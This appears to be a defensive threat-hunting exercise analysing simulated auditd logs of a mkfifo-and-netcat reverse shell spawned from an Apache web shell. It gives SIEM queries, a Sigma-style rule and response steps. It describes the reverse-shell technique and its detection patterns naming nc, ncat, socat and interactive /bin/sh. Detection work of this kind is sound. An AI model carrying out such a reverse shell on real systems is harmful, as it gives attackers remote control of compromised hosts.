Threat Hunting Exercise: Analyzing Linux Reverse Shell Netcat Mkfifo Dataset

This hunt uses a simulated Linux auditd dataset (linux_auditd_ncshell_2022-10-02T023000.json) capturing T1059.004: Command and Scripting Interpreter (Unix Shell) combined with T1071: Application Layer Protocol, where an attacker with initial code execution creates a named pipe (mkfifo) and pipes it through /bin/sh and nc to establish an interactive reverse shell back to attacker infrastructure.

Step 1: Hypothesis Formation

Hypothesis: A process chain creates a named pipe in a temp directory, then executes a command piping /bin/sh -i input/output through that pipe into nc/ncat connecting to an external IP on a non-standard port - the classic named-pipe reverse-shell one-liner - indicating an attacker has established interactive remote command execution. Indicators:

• auditd SYSCALL/EXECVE record for mkfifo creating a file with a random or generic name (e.g., /tmp/f, /tmp/.x) in a world-writable directory.
• Immediate follow-on EXECVE of sh/bash with -i (interactive) flag, redirected through the named pipe.
• Concurrent or immediate nc/ncat/socat process establishing an outbound TCP connection to an external IP.
• The parent process of this chain is a web server, cron, or other automated service context rather than an interactive user login.

Null Hypothesis: A system administrator or DevOps engineer is legitimately using a named-pipe-based shell for authorized remote troubleshooting via an approved bastion/jump host. Invalidate by confirming the destination IP against the approved jump-host inventory and the initiating account against on-call/change records.

Rationale: The mkfifo+nc reverse shell is one of the most common post-exploitation techniques taught and used precisely because it requires no additional tooling beyond what's present on nearly every Linux system, so process-chain-based detection (independent of any specific malware signature) is essential.

Step 2: Data Sources and Scope

• Sources: auditd SYSCALL, EXECVE records; Sysmon-for-Linux Event ID 1 and 3 equivalents; network flow logs.
• Scope: ~2022-10-02T02:30:00-02:40:00 UTC; Host: srv-app-22 (10.100.6.14); Parent context: apache2 worker process (web-shell foothold).
• SIEM Queries (Splunk/ELK):
• index=linux sourcetype=auditd type=EXECVE exe="/usr/bin/mkfifo"
• Shell-pipe chain: index=linux sourcetype=auditd type=EXECVE a0="/bin/sh" a1="-i"
• Netcat correlation: index=linux sourcetype=auditd type=EXECVE exe IN ("/bin/nc","/usr/bin/ncat","/usr/bin/socat")

Step 3: Key Findings

Parsed events (5 shown) confirm an Apache worker process, already running attacker-controlled PHP from a web-shell foothold, spawned the canonical mkfifo+nc reverse-shell one-liner, establishing an interactive outbound connection to attacker infrastructure.

Validation:

• Timeline: web-shell upload → PHP-triggered reverse-shell one-liner → sustained interactive C2 session → manual reconnaissance commands - a complete and coherent post-exploitation chain.
• False Positives: no approved bastion/jump-host record includes 91.245.12.30, and the parent process (a web server worker) has no legitimate reason to spawn interactive shells.
• Correlation: process chain, staged artifact, sustained network session, and command-level activity jointly confirm an active, human-operated compromise.

Step 4: Recommendations & Next Steps

• Immediate Response: Isolate srv-app-22, kill the nc/sh process tree, remove the web shell (shell.php) and audit the upload directory for additional planted files, block 91.245.12.30 at the perimeter, and review all commands executed during the 47-minute session for further compromise indicators.
• Detection: Sigma-style rule: title: Named Pipe Reverse Shell via mkfifo and Netcat → selection: EXECVE AND a0='mkfifo' selection2: EXECVE AND exe IN ('/bin/nc','/usr/bin/ncat','/usr/bin/socat') within 5s of selection → condition: selection and selection2.
• Pro Tip: Alert on any web-server or database-service-account process (apache, www-data, nginx, mysql) spawning sh, bash, nc, ncat, or socat at all - legitimate web application logic essentially never needs to invoke a shell interpreter or netcat directly, making this one of the highest-signal, lowest-noise parent-child process rules available for web-server compromise detection.

Hypothesis confirmed - an attacker who uploaded a web shell used the classic mkfifo-and-netcat one-liner to establish a 47-minute interactive reverse shell, conducting live manual reconnaissance on the compromised web server!